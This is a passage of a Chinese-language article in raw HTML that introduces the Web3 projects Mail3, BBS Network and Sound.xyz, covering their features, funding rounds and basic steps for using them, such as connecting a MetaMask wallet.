0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">可以选择自定义自己的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mail</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">名称</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3988941548183254" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=51cd4df2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7PibbXYT5AnhxbeXMlmpt38QjSayRVVQMNxSQDjicjkf2lGjx41icEZtyQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"> </span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">一路确认邮箱设置，最终进入邮箱</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7229676400947119" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=7fc97d71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia71eJT5xJ9aEaRo5NyESiaSRUhF5q3Jia8Kwc6STib22d8KS3a2nCswq6qw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">需要注意的是，此时的邮箱已经注册成功但无法发送邮件，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">需要绑定</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">域名</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6782334384858044" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=842cb5fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7ANtXg2MGLpRzngRvibuNhRa4oILBOnHEqTPghlADrTNOPcFAWa9MFSA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">之所以这样设置，是为了避免恶意注册大量邮箱，增加恶意交互地址的成本，也会减少生态中的垃圾邮件。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">邮箱是可以与</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">邮箱交互的，从普通使用者的角度来看，</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">邮箱注册简单，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">避免了现在传统</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">邮箱的复杂绑定机制，安全性也与钱包安全级别一致。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">虽然需要绑定</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ENS</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">或</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">bit</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">才能使用发邮件功能</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">但根据</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mail</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的统计数据，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">绝大多数的用户在使用</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mail</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的时候仅仅用到了收件功能，在目前的互联网环境下，邮箱的最大作用就是订阅与验证码收取，文件沟通交流的渠道已经逐渐转移到了社交平台上。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">因此现在的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mail</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">对于用户的吸收度及其可观。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">而对于真正融入</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">体系的个人与开发者而言，域名注册所带来的便利包括了环境的净化已经优质的订阅。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">就现在的时间点而言，</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mail</span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">其实暂时不能融入目前的市场，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">从目前的体验来看</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mail</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">更适合</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">创作者作为创作领域来进行挖掘。</span><o:p></o:p></span></section><h3 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Calibri;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><br mpa-from-tpl="t"/></strong></span></h3><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">3.从Reddit到BBS Network</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">BBS Network <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">是一个类似于 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Reddit </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">或贴吧的去中心化社交网络，用户可以在其中创建论坛来发布、评论和分享想法，同时从他们的内容中产生收入。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">任何用户都可以在该平台创建 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BBS</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，每个 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BBS </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">都可以在自己独特的域上运行，同时仍然链接到所有其他 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BBS</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，其中的创作者、策展人和利益相关者以自动和透明的方式获得项目的原生代币奖励。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">在</span> BBS <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">上发布的每个帖子实际上都是 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，用户可以购买、出售甚至租赁，同时收集他们拥有的任何帖子产生的广告收入。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">在 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BBS </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">上，帖子的影响力由实际市场力量决定，其创造的价值会在帖子的创建者、当前所有者和板块管理员之间共享，这会激励每个人尽力使 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BBS </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">尽可能吸引观众和利益相关者。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">每个</span> BBS <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">所有者都可以设置自己社区的审核规则和内容政策，用户可以自由选择访问和参与哪些板块以满足他们的需求。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BBS </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">可以使用插件模块进行定制和增强，促进用户的选择和多样性。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">2021<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">年</span>12<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">月</span>6<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">日，</span>Binance Labs <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">领投 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Bulletin Board System (BBS) Network 150 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">万美元种子轮融资。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">打开主域名</span> </span><span style="text-decoration: underline;font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://bbs.market/" target="_blank">https://bbs.market/</a></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><o:p></o:p></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4956590370955012" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=03613558&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7HpkaRfQ1hQrIibqfzvdm5ZkDiam6ibut4ETCpaxg21snIB9NuaHC1yarA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">在其中有多个版块，目前排名第一的就是我们所讨论的BBS</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> Network</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">，但这集合了所有版块的页面才是我们所要了解的BBS</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> Network</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">，如传统帖子一般，</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">BBS </span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">Network集合了版块、发帖、评论等功能，在表现形式上并没有什么太大区别。其登陆方式与传统登陆一致。</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.37203791469194314" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=5549250e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7SuAR1VhibCFTC1bKvuaXTTUOlMvxoWjjR12WMIcmiaCUpRZ77DJSp3Xw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">到目前为止BBS</span><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;"> </span><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">Network暂时看不出来与传统贴吧的区别，但如果你想要promote某个帖子你会发现如下内容</span><br/></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.19352290679304898" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=cc748793&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7Z85D1SSVWxAluM0MhtHSnphZiavy4Kjw4pTfNibzog5tDdNWbNTJdW5A%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">这也是上文所提到<span style="letter-spacing: 1px;color: rgb(84, 84, 84);">BBS</span>中每个帖子可以视为一个<span style="letter-spacing: 1px;color: rgb(84, 84, 84);">NFT</span>，创作者收益也来源于此处。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">对于用户来说，</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BBS</span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Network</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">这种模式会使得整个社区的质量显著提升</span>。对于创作者来说，收益是直接获得的。</span><o:p></o:p></span></section><h3 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Calibri;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><br mpa-from-tpl="t"/></strong></span></h3><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">4.从传统音乐平台到sound.xyz</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sound.xyz</span>是颠覆音乐产业的新加密音乐发布平台的官网。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">该艺术家平台希望通过利用区块链技术将歌曲转化为可收藏的非同质代币令音乐增值。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sound.xyz</span>计划通过开发一整套<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3</span>用于该平台。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">由科技风投<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Andreessen Horowitz</span>领投的种子轮共筹集了<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">500</span>万美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sound.xyz</span>加入了投资组合中的一系列加密项目，包括区块链存储软件<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Arweave</span>和基于以太坊的去中心化金融协议<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Uniswap</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">Sound.xyz</span>的其他支持者还包括<span style="color: rgb(84, 84, 84);font-size: 14px;">Variant</span>基金、<span style="color: rgb(84, 84, 84);font-size: 14px;">Scalar</span>资本以及说唱歌手和唱片制作人<span style="color: rgb(84, 84, 84);font-size: 14px;">21 Savage</span>。</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6458990536277602" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=659bb29c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia72xk0RvxicXmzibYmTKu8ibS9Nf1dibVpj8SuqibPOQJl8tOhGicg7O7fGGKw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">该新启平台旨在让音乐家从作品中增加经济利益。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">受非同质代币平台（以及<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.xyz</span>社群成员）<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Manifold.xyz</span>的启发，该平台的声音工作室帮助艺术家原创的高质量歌曲非同质代币，同时通过嵌入式智能合约保留其作品的真正所有权。艺术家们在不会失去音乐版权的前提下可以获得每次转售<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">10%</span>的收入。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">sound</span>.xyz<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的使用方式比较简单，访问主域名：</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">sound</span>.xyz</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4976303317535545" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=4594ed5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7KB8LcCjO4GqgibgfKBkIHeGwlT9RQveXeph9KiciaGDTCKnrl4koXMzGA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">连接自己的钱包，这里使用的是<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">metamask</span>，网页会需要你的钱包签名，确认即可。</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5122529644268775" data-s="300,640" style="" data-type="png" data-w="1265" 